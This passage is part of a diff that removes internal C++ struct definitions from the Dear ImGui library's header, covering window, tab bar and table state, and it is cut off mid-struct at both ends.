= false; - - FocusRequestCurrWindow = FocusRequestNextWindow = NULL; - FocusRequestCurrCounterRegular = FocusRequestCurrCounterTabStop = INT_MAX; - FocusRequestNextCounterRegular = FocusRequestNextCounterTabStop = INT_MAX; - FocusTabPressed = false; - - DimBgRatio = 0.0f; - MouseCursor = ImGuiMouseCursor_Arrow; - - DragDropActive = DragDropWithinSource = DragDropWithinTarget = false; - DragDropSourceFlags = ImGuiDragDropFlags_None; - DragDropSourceFrameCount = -1; - DragDropMouseButton = -1; - DragDropTargetId = 0; - DragDropAcceptFlags = ImGuiDragDropFlags_None; - DragDropAcceptIdCurrRectSurface = 0.0f; - DragDropAcceptIdPrev = DragDropAcceptIdCurr = 0; - DragDropAcceptFrameCount = -1; - DragDropHoldJustPressedId = 0; - memset(DragDropPayloadBufLocal, 0, sizeof(DragDropPayloadBufLocal)); - - CurrentTable = NULL; - CurrentTabBar = NULL; - - LastValidMousePos = ImVec2(0.0f, 0.0f); - TempInputId = 0; - ColorEditOptions = ImGuiColorEditFlags__OptionsDefault; - ColorEditLastHue = ColorEditLastSat = 0.0f; - ColorEditLastColor[0] = ColorEditLastColor[1] = ColorEditLastColor[2] = FLT_MAX; - SliderCurrentAccum = 0.0f; - SliderCurrentAccumDirty = false; - DragCurrentAccumDirty = false; - DragCurrentAccum = 0.0f; - DragSpeedDefaultRatio = 1.0f / 100.0f; - ScrollbarClickDeltaToGrabCenter = 0.0f; - TooltipOverrideCount = 0; - TooltipSlowDelay = 0.50f; - - PlatformImePos = PlatformImeLastPos = ImVec2(FLT_MAX, FLT_MAX); - PlatformLocaleDecimalPoint = '.'; - - SettingsLoaded = false; - SettingsDirtyTimer = 0.0f; - HookIdNext = 0; - - LogEnabled = false; - LogType = ImGuiLogType_None; - LogNextPrefix = LogNextSuffix = NULL; - LogFile = NULL; - LogLinePosY = FLT_MAX; - LogLineFirstItem = false; - LogDepthRef = 0; - LogDepthToExpand = LogDepthToExpandDefault = 2; - - DebugItemPickerActive = false; - DebugItemPickerBreakId = 0; - - memset(FramerateSecPerFrame, 0, sizeof(FramerateSecPerFrame)); - FramerateSecPerFrameIdx = 0; - FramerateSecPerFrameAccum = 0.0f; - WantCaptureMouseNextFrame = WantCaptureKeyboardNextFrame = WantTextInputNextFrame = -1; - memset(TempBuffer, 0, sizeof(TempBuffer)); - } -}; - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiWindowTempData, ImGuiWindow -//----------------------------------------------------------------------------- - -// Transient per-window data, reset at the beginning of the frame. This used to be called ImGuiDrawContext, hence the DC variable name in ImGuiWindow. -// (That's theory, in practice the delimitation between ImGuiWindow and ImGuiWindowTempData is quite tenuous and could be reconsidered..) -// (This doesn't need a constructor because we zero-clear it as part of ImGuiWindow and all frame-temporary data are setup on Begin) -struct IMGUI_API ImGuiWindowTempData -{ - // Layout - ImVec2 CursorPos; // Current emitting position, in absolute coordinates. - ImVec2 CursorPosPrevLine; - ImVec2 CursorStartPos; // Initial position after Begin(), generally ~ window position + WindowPadding. - ImVec2 CursorMaxPos; // Used to implicitly calculate ContentSize at the beginning of next frame, for scrolling range and auto-resize. Always growing during the frame. - ImVec2 IdealMaxPos; // Used to implicitly calculate ContentSizeIdeal at the beginning of next frame, for auto-resize only. Always growing during the frame. - ImVec2 CurrLineSize; - ImVec2 PrevLineSize; - float CurrLineTextBaseOffset; // Baseline offset (0.0f by default on a new line, generally == style.FramePadding.y when a framed item has been added). - float PrevLineTextBaseOffset; - ImVec1 Indent; // Indentation / start position from left of window (increased by TreePush/TreePop, etc.) - ImVec1 ColumnsOffset; // Offset to the current column (if ColumnsCurrent > 0). FIXME: This and the above should be a stack to allow use cases like Tree->Column->Tree. Need revamp columns API. - ImVec1 GroupOffset; - - // Last item status - ImGuiID LastItemId; // ID for last item - ImGuiItemStatusFlags LastItemStatusFlags; // Status flags for last item (see ImGuiItemStatusFlags_) - ImRect LastItemRect; // Interaction rect for last item - ImRect LastItemDisplayRect; // End-user display rect for last item (only valid if LastItemStatusFlags & ImGuiItemStatusFlags_HasDisplayRect) - - // Keyboard/Gamepad navigation - ImGuiNavLayer NavLayerCurrent; // Current layer, 0..31 (we currently only use 0..1) - int NavLayerActiveMask; // Which layers have been written to (result from previous frame) - int NavLayerActiveMaskNext; // Which layers have been written to (accumulator for current frame) - ImGuiID NavFocusScopeIdCurrent; // Current focus scope ID while appending - bool NavHideHighlightOneFrame; - bool NavHasScroll; // Set when scrolling can be used (ScrollMax > 0.0f) - - // Miscellaneous - bool MenuBarAppending; // FIXME: Remove this - ImVec2 MenuBarOffset; // MenuBarOffset.x is sort of equivalent of a per-layer CursorPos.x, saved/restored as we switch to the menu bar. The only situation when MenuBarOffset.y is > 0 if when (SafeAreaPadding.y > FramePadding.y), often used on TVs. - ImGuiMenuColumns MenuColumns; // Simplified columns storage for menu items measurement - int TreeDepth; // Current tree depth. - ImU32 TreeJumpToParentOnPopMask; // Store a copy of !g.NavIdIsAlive for TreeDepth 0..31.. Could be turned into a ImU64 if necessary. - ImVector ChildWindows; - ImGuiStorage* StateStorage; // Current persistent per-window storage (store e.g. tree node open/close state) - ImGuiOldColumns* CurrentColumns; // Current columns set - int CurrentTableIdx; // Current table index (into g.Tables) - ImGuiLayoutType LayoutType; - ImGuiLayoutType ParentLayoutType; // Layout type of parent window at the time of Begin() - int FocusCounterRegular; // (Legacy Focus/Tabbing system) Sequential counter, start at -1 and increase as assigned via FocusableItemRegister() (FIXME-NAV: Needs redesign) - int FocusCounterTabStop; // (Legacy Focus/Tabbing system) Same, but only count widgets which you can Tab through. - - // Local parameters stacks - // We store the current settings outside of the vectors to increase memory locality (reduce cache misses). The vectors are rarely modified. Also it allows us to not heap allocate for short-lived windows which are not using those settings. - ImGuiItemFlags ItemFlags; // == g.ItemFlagsStack.back() - float ItemWidth; // Current item width (>0.0: width in pixels, <0.0: align xx pixels to the right of window). - float TextWrapPos; // Current text wrap pos. - ImVector ItemWidthStack; // Store item widths to restore (attention: .back() is not == ItemWidth) - ImVector TextWrapPosStack; // Store text wrap pos to restore (attention: .back() is not == TextWrapPos) - ImGuiStackSizes StackSizesOnBegin; // Store size of various stacks for asserting -}; - -// Storage for one window -struct IMGUI_API ImGuiWindow -{ - char* Name; // Window name, owned by the window. - ImGuiID ID; // == ImHashStr(Name) - ImGuiWindowFlags Flags; // See enum ImGuiWindowFlags_ - ImVec2 Pos; // Position (always rounded-up to nearest pixel) - ImVec2 Size; // Current size (==SizeFull or collapsed title bar size) - ImVec2 SizeFull; // Size when non collapsed - ImVec2 ContentSize; // Size of contents/scrollable client area (calculated from the extents reach of the cursor) from previous frame. Does not include window decoration or window padding. - ImVec2 ContentSizeIdeal; - ImVec2 ContentSizeExplicit; // Size of contents/scrollable client area explicitly request by the user via SetNextWindowContentSize(). - ImVec2 WindowPadding; // Window padding at the time of Begin(). - float WindowRounding; // Window rounding at the time of Begin(). May be clamped lower to avoid rendering artifacts with title bar, menu bar etc. - float WindowBorderSize; // Window border size at the time of Begin(). - int NameBufLen; // Size of buffer storing Name. May be larger than strlen(Name)! - ImGuiID MoveId; // == window->GetID("#MOVE") - ImGuiID ChildId; // ID of corresponding item in parent window (for navigation to return from child window to parent window) - ImVec2 Scroll; - ImVec2 ScrollMax; - ImVec2 ScrollTarget; // target scroll position. stored as cursor position with scrolling canceled out, so the highest point is always 0.0f. (FLT_MAX for no change) - ImVec2 ScrollTargetCenterRatio; // 0.0f = scroll so that target position is at top, 0.5f = scroll so that target position is centered - ImVec2 ScrollTargetEdgeSnapDist; // 0.0f = no snapping, >0.0f snapping threshold - ImVec2 ScrollbarSizes; // Size taken by each scrollbars on their smaller axis. Pay attention! ScrollbarSizes.x == width of the vertical scrollbar, ScrollbarSizes.y = height of the horizontal scrollbar. - bool ScrollbarX, ScrollbarY; // Are scrollbars visible? - bool Active; // Set to true on Begin(), unless Collapsed - bool WasActive; - bool WriteAccessed; // Set to true when any widget access the current window - bool Collapsed; // Set when collapsing window to become only title-bar - bool WantCollapseToggle; - bool SkipItems; // Set when items can safely be all clipped (e.g. window not visible or collapsed) - bool Appearing; // Set during the frame where the window is appearing (or re-appearing) - bool Hidden; // Do not display (== HiddenFrames*** > 0) - bool IsFallbackWindow; // Set on the "Debug##Default" window. - bool HasCloseButton; // Set when the window has a close button (p_open != NULL) - signed char ResizeBorderHeld; // Current border being held for resize (-1: none, otherwise 0-3) - short BeginCount; // Number of Begin() during the current frame (generally 0 or 1, 1+ if appending via multiple Begin/End pairs) - short BeginOrderWithinParent; // Order within immediate parent window, if we are a child window. Otherwise 0. - short BeginOrderWithinContext; // Order within entire imgui context. This is mostly used for debugging submission order related issues. - ImGuiID PopupId; // ID in the popup stack when this window is used as a popup/menu (because we use generic Name/ID for recycling) - ImS8 AutoFitFramesX, AutoFitFramesY; - ImS8 AutoFitChildAxises; - bool AutoFitOnlyGrows; - ImGuiDir AutoPosLastDirection; - ImS8 HiddenFramesCanSkipItems; // Hide the window for N frames - ImS8 HiddenFramesCannotSkipItems; // Hide the window for N frames while allowing items to be submitted so we can measure their size - ImS8 HiddenFramesForRenderOnly; // Hide the window until frame N at Render() time only - ImGuiCond SetWindowPosAllowFlags : 8; // store acceptable condition flags for SetNextWindowPos() use. - ImGuiCond SetWindowSizeAllowFlags : 8; // store acceptable condition flags for SetNextWindowSize() use. - ImGuiCond SetWindowCollapsedAllowFlags : 8; // store acceptable condition flags for SetNextWindowCollapsed() use. - ImVec2 SetWindowPosVal; // store window position when using a non-zero Pivot (position set needs to be processed when we know the window size) - ImVec2 SetWindowPosPivot; // store window pivot for positioning. ImVec2(0, 0) when positioning from top-left corner; ImVec2(0.5f, 0.5f) for centering; ImVec2(1, 1) for bottom right. - - ImVector IDStack; // ID stack. ID are hashes seeded with the value at the top of the stack. (In theory this should be in the TempData structure) - ImGuiWindowTempData DC; // Temporary per-window data, reset at the beginning of the frame. This used to be called ImGuiDrawContext, hence the "DC" variable name. - - // The best way to understand what those rectangles are is to use the 'Metrics->Tools->Show Windows Rectangles' viewer. - // The main 'OuterRect', omitted as a field, is window->Rect(). - ImRect OuterRectClipped; // == Window->Rect() just after setup in Begin(). == window->Rect() for root window. - ImRect InnerRect; // Inner rectangle (omit title bar, menu bar, scroll bar) - ImRect InnerClipRect; // == InnerRect shrunk by WindowPadding*0.5f on each side, clipped within viewport or parent clip rect. - ImRect WorkRect; // Initially covers the whole scrolling region. Reduced by containers e.g columns/tables when active. Shrunk by WindowPadding*1.0f on each side. This is meant to replace ContentRegionRect over time (from 1.71+ onward). - ImRect ParentWorkRect; // Backup of WorkRect before entering a container such as columns/tables. Used by e.g. SpanAllColumns functions to easily access. Stacked containers are responsible for maintaining this. // FIXME-WORKRECT: Could be a stack? - ImRect ClipRect; // Current clipping/scissoring rectangle, evolve as we are using PushClipRect(), etc. == DrawList->clip_rect_stack.back(). - ImRect ContentRegionRect; // FIXME: This is currently confusing/misleading. It is essentially WorkRect but not handling of scrolling. We currently rely on it as right/bottom aligned sizing operation need some size to rely on. - ImVec2ih HitTestHoleSize; // Define an optional rectangular hole where mouse will pass-through the window. - ImVec2ih HitTestHoleOffset; - - int LastFrameActive; // Last frame number the window was Active. - float LastTimeActive; // Last timestamp the window was Active (using float as we don't need high precision there) - float ItemWidthDefault; - ImGuiStorage StateStorage; - ImVector ColumnsStorage; - float FontWindowScale; // User scale multiplier per-window, via SetWindowFontScale() - int SettingsOffset; // Offset into SettingsWindows[] (offsets are always valid as we only grow the array from the back) - - ImDrawList* DrawList; // == &DrawListInst (for backward compatibility reason with code using imgui_internal.h we keep this a pointer) - ImDrawList DrawListInst; - ImGuiWindow* ParentWindow; // If we are a child _or_ popup window, this is pointing to our parent. Otherwise NULL. - ImGuiWindow* RootWindow; // Point to ourself or first ancestor that is not a child window == Top-level window. - ImGuiWindow* RootWindowForTitleBarHighlight; // Point to ourself or first ancestor which will display TitleBgActive color when this window is active. - ImGuiWindow* RootWindowForNav; // Point to ourself or first ancestor which doesn't have the NavFlattened flag. - - ImGuiWindow* NavLastChildNavWindow; // When going to the menu bar, we remember the child window we came from. (This could probably be made implicit if we kept g.Windows sorted by last focused including child window.) - ImGuiID NavLastIds[ImGuiNavLayer_COUNT]; // Last known NavId for this window, per layer (0/1) - ImRect NavRectRel[ImGuiNavLayer_COUNT]; // Reference rectangle, in window relative space - - int MemoryDrawListIdxCapacity; // Backup of last idx/vtx count, so when waking up the window we can preallocate and avoid iterative alloc/copy - int MemoryDrawListVtxCapacity; - bool MemoryCompacted; // Set when window extraneous data have been garbage collected - -public: - ImGuiWindow(ImGuiContext* context, const char* name); - ~ImGuiWindow(); - - ImGuiID GetID(const char* str, const char* str_end = NULL); - ImGuiID GetID(const void* ptr); - ImGuiID GetID(int n); - ImGuiID GetIDNoKeepAlive(const char* str, const char* str_end = NULL); - ImGuiID GetIDNoKeepAlive(const void* ptr); - ImGuiID GetIDNoKeepAlive(int n); - ImGuiID GetIDFromRectangle(const ImRect& r_abs); - - // We don't use g.FontSize because the window may be != g.CurrentWidow. - ImRect Rect() const { return ImRect(Pos.x, Pos.y, Pos.x + Size.x, Pos.y + Size.y); } - float CalcFontSize() const { ImGuiContext& g = *GImGui; float scale = g.FontBaseSize * FontWindowScale; if (ParentWindow) scale *= ParentWindow->FontWindowScale; return scale; } - float TitleBarHeight() const { ImGuiContext& g = *GImGui; return (Flags & ImGuiWindowFlags_NoTitleBar) ? 0.0f : CalcFontSize() + g.Style.FramePadding.y * 2.0f; } - ImRect TitleBarRect() const { return ImRect(Pos, ImVec2(Pos.x + SizeFull.x, Pos.y + TitleBarHeight())); } - float MenuBarHeight() const { ImGuiContext& g = *GImGui; return (Flags & ImGuiWindowFlags_MenuBar) ? DC.MenuBarOffset.y + CalcFontSize() + g.Style.FramePadding.y * 2.0f : 0.0f; } - ImRect MenuBarRect() const { float y1 = Pos.y + TitleBarHeight(); return ImRect(Pos.x, y1, Pos.x + SizeFull.x, y1 + MenuBarHeight()); } -}; - -// Backup and restore just enough data to be able to use IsItemHovered() on item A after another B in the same window has overwritten the data. -struct ImGuiLastItemDataBackup -{ - ImGuiID LastItemId; - ImGuiItemStatusFlags LastItemStatusFlags; - ImRect LastItemRect; - ImRect LastItemDisplayRect; - - ImGuiLastItemDataBackup() { Backup(); } - void Backup() { ImGuiWindow* window = GImGui->CurrentWindow; LastItemId = window->DC.LastItemId; LastItemStatusFlags = window->DC.LastItemStatusFlags; LastItemRect = window->DC.LastItemRect; LastItemDisplayRect = window->DC.LastItemDisplayRect; } - void Restore() const { ImGuiWindow* window = GImGui->CurrentWindow; window->DC.LastItemId = LastItemId; window->DC.LastItemStatusFlags = LastItemStatusFlags; window->DC.LastItemRect = LastItemRect; window->DC.LastItemDisplayRect = LastItemDisplayRect; } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Tab bar, Tab item support -//----------------------------------------------------------------------------- - -// Extend ImGuiTabBarFlags_ -enum ImGuiTabBarFlagsPrivate_ -{ - ImGuiTabBarFlags_DockNode = 1 << 20, // Part of a dock node [we don't use this in the master branch but it facilitate branch syncing to keep this around] - ImGuiTabBarFlags_IsFocused = 1 << 21, - ImGuiTabBarFlags_SaveSettings = 1 << 22 // FIXME: Settings are handled by the docking system, this only request the tab bar to mark settings dirty when reordering tabs -}; - -// Extend ImGuiTabItemFlags_ -enum ImGuiTabItemFlagsPrivate_ -{ - ImGuiTabItemFlags_NoCloseButton = 1 << 20, // Track whether p_open was set or not (we'll need this info on the next frame to recompute ContentWidth during layout) - ImGuiTabItemFlags_Button = 1 << 21 // Used by TabItemButton, change the tab item behavior to mimic a button -}; - -// Storage for one active tab item (sizeof() 28~32 bytes) -struct ImGuiTabItem -{ - ImGuiID ID; - ImGuiTabItemFlags Flags; - int LastFrameVisible; - int LastFrameSelected; // This allows us to infer an ordered list of the last activated tabs with little maintenance - float Offset; // Position relative to beginning of tab - float Width; // Width currently displayed - float ContentWidth; // Width of label, stored during BeginTabItem() call - ImS16 NameOffset; // When Window==NULL, offset to name within parent ImGuiTabBar::TabsNames - ImS16 BeginOrder; // BeginTabItem() order, used to re-order tabs after toggling ImGuiTabBarFlags_Reorderable - ImS16 IndexDuringLayout; // Index only used during TabBarLayout() - bool WantClose; // Marked as closed by SetTabItemClosed() - - ImGuiTabItem() { memset(this, 0, sizeof(*this)); LastFrameVisible = LastFrameSelected = -1; NameOffset = BeginOrder = IndexDuringLayout = -1; } -}; - -// Storage for a tab bar (sizeof() 152 bytes) -struct ImGuiTabBar -{ - ImVector Tabs; - ImGuiTabBarFlags Flags; - ImGuiID ID; // Zero for tab-bars used by docking - ImGuiID SelectedTabId; // Selected tab/window - ImGuiID NextSelectedTabId; // Next selected tab/window. Will also trigger a scrolling animation - ImGuiID VisibleTabId; // Can occasionally be != SelectedTabId (e.g. when previewing contents for CTRL+TAB preview) - int CurrFrameVisible; - int PrevFrameVisible; - ImRect BarRect; - float CurrTabsContentsHeight; - float PrevTabsContentsHeight; // Record the height of contents submitted below the tab bar - float WidthAllTabs; // Actual width of all tabs (locked during layout) - float WidthAllTabsIdeal; // Ideal width if all tabs were visible and not clipped - float ScrollingAnim; - float ScrollingTarget; - float ScrollingTargetDistToVisibility; - float ScrollingSpeed; - float ScrollingRectMinX; - float ScrollingRectMaxX; - ImGuiID ReorderRequestTabId; - ImS8 ReorderRequestDir; - ImS8 BeginCount; - bool WantLayout; - bool VisibleTabWasSubmitted; - bool TabsAddedNew; // Set to true when a new tab item or button has been added to the tab bar during last frame - ImS16 TabsActiveCount; // Number of tabs submitted this frame. - ImS16 LastTabItemIdx; // Index of last BeginTabItem() tab for use by EndTabItem() - float ItemSpacingY; - ImVec2 FramePadding; // style.FramePadding locked at the time of BeginTabBar() - ImVec2 BackupCursorPos; - ImGuiTextBuffer TabsNames; // For non-docking tab bar we re-append names in a contiguous buffer. - - ImGuiTabBar(); - int GetTabOrder(const ImGuiTabItem* tab) const { return Tabs.index_from_ptr(tab); } - const char* GetTabName(const ImGuiTabItem* tab) const - { - IM_ASSERT(tab->NameOffset != -1 && (int)tab->NameOffset < TabsNames.Buf.Size); - return TabsNames.Buf.Data + tab->NameOffset; - } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Table support -//----------------------------------------------------------------------------- - -#ifdef IMGUI_HAS_TABLE - -#define IM_COL32_DISABLE IM_COL32(0,0,0,1) // Special sentinel code which cannot be used as a regular color. -#define IMGUI_TABLE_MAX_COLUMNS 64 // sizeof(ImU64) * 8. This is solely because we frequently encode columns set in a ImU64. -#define IMGUI_TABLE_MAX_DRAW_CHANNELS (4 + 64 * 2) // See TableSetupDrawChannels() - -// Our current column maximum is 64 but we may raise that in the future. -typedef ImS8 ImGuiTableColumnIdx; -typedef ImU8 ImGuiTableDrawChannelIdx; - -// [Internal] sizeof() ~ 104 -// We use the terminology "Enabled" to refer to a column that is not Hidden by user/api. -// We use the terminology "Clipped" to refer to a column that is out of sight because of scrolling/clipping. -// This is in contrast with some user-facing api such as IsItemVisible() / IsRectVisible() which use "Visible" to mean "not clipped". -struct ImGuiTableColumn -{ - ImGuiTableColumnFlags Flags; // Flags after some patching (not directly same as provided by user). See ImGuiTableColumnFlags_ - float WidthGiven; // Final/actual width visible == (MaxX - MinX), locked in TableUpdateLayout(). May be > WidthRequest to honor minimum width, may be < WidthRequest to honor shrinking columns down in tight space. - float MinX; // Absolute positions - float MaxX; - float WidthRequest; // Master width absolute value when !(Flags & _WidthStretch). When Stretch this is derived every frame from StretchWeight in TableUpdateLayout() - float WidthAuto; // Automatic width - float StretchWeight; // Master width weight when (Flags & _WidthStretch). Often around ~1.0f initially. - float InitStretchWeightOrWidth; // Value passed to TableSetupColumn(). For Width it is a content width (_without padding_). - ImRect ClipRect; // Clipping rectangle for the column - ImGuiID UserID; // Optional, value passed to TableSetupColumn() - float WorkMinX; // Contents region min ~(MinX + CellPaddingX + CellSpacingX1) == cursor start position when entering column - float WorkMaxX; // Contents region max ~(MaxX - CellPaddingX - CellSpacingX2) - float ItemWidth; // Current item width for the column, preserved across rows - float ContentMaxXFrozen; // Contents maximum position for frozen rows (apart from headers), from which we can infer content width. - float ContentMaxXUnfrozen; - float ContentMaxXHeadersUsed; // Contents maximum position for headers rows (regardless of freezing). TableHeader() automatically softclip itself + report ideal desired size, to avoid creating extraneous draw calls - float ContentMaxXHeadersIdeal; - ImS16 NameOffset; // Offset into parent ColumnsNames[] - ImGuiTableColumnIdx DisplayOrder; // Index within Table's IndexToDisplayOrder[] (column may be reordered by users) - ImGuiTableColumnIdx IndexWithinEnabledSet; // Index within enabled/visible set (<= IndexToDisplayOrder) - ImGuiTableColumnIdx PrevEnabledColumn; // Index of prev enabled/visible column within Columns[], -1 if first enabled/visible column - ImGuiTableColumnIdx NextEnabledColumn; // Index of next enabled/visible column within Columns[], -1 if last enabled/visible column - ImGuiTableColumnIdx SortOrder; // Index of this column within sort specs, -1 if not sorting on this column, 0 for single-sort, may be >0 on multi-sort - ImGuiTableDrawChannelIdx DrawChannelCurrent; // Index within DrawSplitter.Channels[] - ImGuiTableDrawChannelIdx DrawChannelFrozen; - ImGuiTableDrawChannelIdx DrawChannelUnfrozen; - bool IsEnabled; // Is the column not marked Hidden by the user? (even if off view, e.g. clipped by scrolling). - bool IsEnabledNextFrame; - bool IsVisibleX; // Is actually in view (e.g. overlapping the host window clipping rectangle, not scrolled). - bool IsVisibleY; - bool IsRequestOutput; // Return value for TableSetColumnIndex() / TableNextColumn(): whether we request user to output contents or not. - bool IsSkipItems; // Do we want item submissions to this column to be completely ignored (no layout will happen). - bool IsPreserveWidthAuto; - ImS8 NavLayerCurrent; // ImGuiNavLayer in 1 byte - ImU8 AutoFitQueue; // Queue of 8 values for the next 8 frames to request auto-fit - ImU8 CannotSkipItemsQueue; // Queue of 8 values for the next 8 frames to disable Clipped/SkipItem - ImU8 SortDirection : 2; // ImGuiSortDirection_Ascending or ImGuiSortDirection_Descending - ImU8 SortDirectionsAvailCount : 2; // Number of available sort directions (0 to 3) - ImU8 SortDirectionsAvailMask : 4; // Mask of available sort directions (1-bit each) - ImU8 SortDirectionsAvailList; // Ordered of available sort directions (2-bits each) - - ImGuiTableColumn() - { - memset(this, 0, sizeof(*this)); - StretchWeight = WidthRequest = -1.0f; - NameOffset = -1; - DisplayOrder = IndexWithinEnabledSet = -1; - PrevEnabledColumn = NextEnabledColumn = -1; - SortOrder = -1; - SortDirection = ImGuiSortDirection_None; - DrawChannelCurrent = DrawChannelFrozen = DrawChannelUnfrozen = (ImU8)-1; - } -}; - -// Transient cell data stored per row. -// sizeof() ~ 6 -struct ImGuiTableCellData -{ - ImU32 BgColor; // Actual color - ImGuiTableColumnIdx Column; // Column number -}; - -// FIXME-TABLE: transient data could be stored in a per-stacked table structure: DrawSplitter, SortSpecs, incoming RowData -struct ImGuiTable -{ - ImGuiID ID; - ImGuiTableFlags Flags; - void* RawData; // Single allocation to hold Columns[], DisplayOrderToIndex[] and RowCellData[] - ImSpan Columns; // Point within RawData[] - ImSpan DisplayOrderToIndex; // Point within RawData[]. Store display order of columns (when not reordered, the values are 0...Count-1) - ImSpan RowCellData; // Point within RawData[]. Store cells background requests for current row. - ImU64 EnabledMaskByDisplayOrder; // Column DisplayOrder -> IsEnabled map - ImU64 EnabledMaskByIndex; // Column Index -> IsEnabled map (== not hidden by user/api) in a format adequate for iterating column without touching cold data - ImU64 VisibleMaskByIndex; // Column Index -> IsVisibleX|IsVisibleY map (== not hidden by user/api && not hidden by scrolling/cliprect) - ImU64 RequestOutputMaskByIndex; // Column Index -> IsVisible || AutoFit (== expect user to submit items) - ImGuiTableFlags SettingsLoadedFlags; // Which data were loaded from the .ini file (e.g. when order is not altered we won't save order) - int SettingsOffset; // Offset in g.SettingsTables - int LastFrameActive; - int ColumnsCount; // Number of columns declared in BeginTable() - int CurrentRow; - int CurrentColumn; - ImS16 InstanceCurrent; // Count of BeginTable() calls with same ID in the same frame (generally 0). This is a little bit similar to BeginCount for a window, but multiple table with same ID look are multiple tables, they are just synched. - ImS16 InstanceInteracted; // Mark which instance (generally 0) of the same ID is being interacted with - float RowPosY1; - float RowPosY2; - float RowMinHeight; // Height submitted to TableNextRow() - float RowTextBaseline; - float RowIndentOffsetX; - ImGuiTableRowFlags RowFlags : 16; // Current row flags, see ImGuiTableRowFlags_ - ImGuiTableRowFlags LastRowFlags : 16; - int RowBgColorCounter; // Counter for alternating background colors (can be fast-forwarded by e.g clipper), not same as CurrentRow because header rows typically don't increase this. - ImU32 RowBgColor[2]; // Background color override for current row. - ImU32 BorderColorStrong; - ImU32 BorderColorLight; - float BorderX1; - float BorderX2; - float HostIndentX; - float MinColumnWidth; - float OuterPaddingX; - float CellPaddingX; // Padding from each borders - float CellPaddingY; - float CellSpacingX1; // Spacing between non-bordered cells - float CellSpacingX2; - float LastOuterHeight; // Outer height from last frame - float LastFirstRowHeight; // Height of first row from last frame - float InnerWidth; // User value passed to BeginTable(), see comments at the top of BeginTable() for details. - float ColumnsGivenWidth; // Sum of current column width - float ColumnsAutoFitWidth; // Sum of ideal column width in order nothing to be clipped, used for auto-fitting and content width submission in outer window - float ResizedColumnNextWidth; - float ResizeLockMinContentsX2; // Lock minimum contents width while resizing down in order to not create feedback loops. But we allow growing the table. - float RefScale; // Reference scale to be able to rescale columns on font/dpi changes. - ImRect OuterRect; // Note: for non-scrolling table, OuterRect.Max.y is often FLT_MAX until EndTable(), unless a height has been specified in BeginTable(). - ImRect InnerRect; // InnerRect but without decoration. As with OuterRect, for non-scrolling tables, InnerRect.Max.y is - ImRect WorkRect; - ImRect InnerClipRect; - ImRect BgClipRect; // We use this to cpu-clip cell background color fill - ImRect Bg0ClipRectForDrawCmd; // Actual ImDrawCmd clip rect for BG0/1 channel. This tends to be == OuterWindow->ClipRect at BeginTable() because output in BG0/BG1 is cpu-clipped - ImRect Bg2ClipRectForDrawCmd; // Actual ImDrawCmd clip rect for BG2 channel. This tends to be a correct, tight-fit, because output to BG2 are done by widgets relying on regular ClipRect. - ImRect HostClipRect; // This is used to check if we can eventually merge our columns draw calls into the current draw call of the current window. - ImRect HostBackupWorkRect; // Backup of InnerWindow->WorkRect at the end of BeginTable() - ImRect HostBackupParentWorkRect; // Backup of InnerWindow->ParentWorkRect at the end of BeginTable() - ImRect HostBackupInnerClipRect; // Backup of InnerWindow->ClipRect during PushTableBackground()/PopTableBackground() - ImVec2 HostBackupPrevLineSize; // Backup of InnerWindow->DC.PrevLineSize at the end of BeginTable() - ImVec2 HostBackupCurrLineSize; // Backup of InnerWindow->DC.CurrLineSize at the end of BeginTable() - ImVec2 HostBackupCursorMaxPos; // Backup of InnerWindow->DC.CursorMaxPos at the end of BeginTable() - ImVec2 UserOuterSize; // outer_size.x passed to BeginTable() - ImVec1 HostBackupColumnsOffset; // Backup of OuterWindow->DC.ColumnsOffset at the end of BeginTable() - float HostBackupItemWidth; // Backup of OuterWindow->DC.ItemWidth at the end of BeginTable() - int HostBackupItemWidthStackSize;// Backup of OuterWindow->DC.ItemWidthStack.Size at the end of BeginTable() - ImGuiWindow* OuterWindow; // Parent window for the table - ImGuiWindow* InnerWindow; // Window holding the table data (== OuterWindow or a child window) - ImGuiTextBuffer ColumnsNames; // Contiguous buffer holding columns names - ImDrawListSplitter DrawSplitter; // We carry our own ImDrawList splitter to allow recursion (FIXME: could be stored outside, worst case we need 1 splitter per recursing table) - ImGuiTableColumnSortSpecs SortSpecsSingle; - ImVector SortSpecsMulti; // FIXME-OPT: Using a small-vector pattern would work be good. - ImGuiTableSortSpecs SortSpecs; // Public facing sorts specs, this is what we return in TableGetSortSpecs() - ImGuiTableColumnIdx SortSpecsCount; - ImGuiTableColumnIdx ColumnsEnabledCount; // Number of enabled columns (<= ColumnsCount) - ImGuiTableColumnIdx ColumnsEnabledFixedCount; // Number of enabled columns (<= ColumnsCount) - ImGuiTableColumnIdx DeclColumnsCount; // Count calls to TableSetupColumn() - ImGuiTableColumnIdx HoveredColumnBody; // Index of column whose visible region is being hovered. Important: == ColumnsCount when hovering empty region after the right-most column! - ImGuiTableColumnIdx HoveredColumnBorder; // Index of column whose right-border is being hovered (for resizing). - ImGuiTableColumnIdx AutoFitSingleColumn; // Index of single column requesting auto-fit. - ImGuiTableColumnIdx ResizedColumn; // Index of column being resized. Reset when InstanceCurrent==0. - ImGuiTableColumnIdx LastResizedColumn; // Index of column being resized from previous frame. - ImGuiTableColumnIdx HeldHeaderColumn; // Index of column header being held. - ImGuiTableColumnIdx ReorderColumn; // Index of column being reordered. (not cleared) - ImGuiTableColumnIdx ReorderColumnDir; // -1 or +1 - ImGuiTableColumnIdx LeftMostEnabledColumn; // Index of left-most non-hidden column. - ImGuiTableColumnIdx RightMostEnabledColumn; // Index of right-most non-hidden column. - ImGuiTableColumnIdx LeftMostStretchedColumn; // Index of left-most stretched column. - ImGuiTableColumnIdx RightMostStretchedColumn; // Index of right-most stretched column. - ImGuiTableColumnIdx ContextPopupColumn; // Column right-clicked on, of -1 if opening context menu from a neutral/empty spot - ImGuiTableColumnIdx FreezeRowsRequest; // Requested frozen rows count - ImGuiTableColumnIdx FreezeRowsCount; // Actual frozen row count (== FreezeRowsRequest, or == 0 when no scrolling offset) - ImGuiTableColumnIdx FreezeColumnsRequest; // Requested frozen columns count - ImGuiTableColumnIdx FreezeColumnsCount; // Actual frozen columns count (== FreezeColumnsRequest, or == 0 when no scrolling offset) - ImGuiTableColumnIdx RowCellDataCurrent; // Index of current RowCellData[] entry in current row - ImGuiTableDrawChannelIdx DummyDrawChannel; // Redirect non-visible columns here. - ImGuiTableDrawChannelIdx Bg2DrawChannelCurrent; // For Selectable() and other widgets drawing across columns after the freezing line. Index within DrawSplitter.Channels[] - 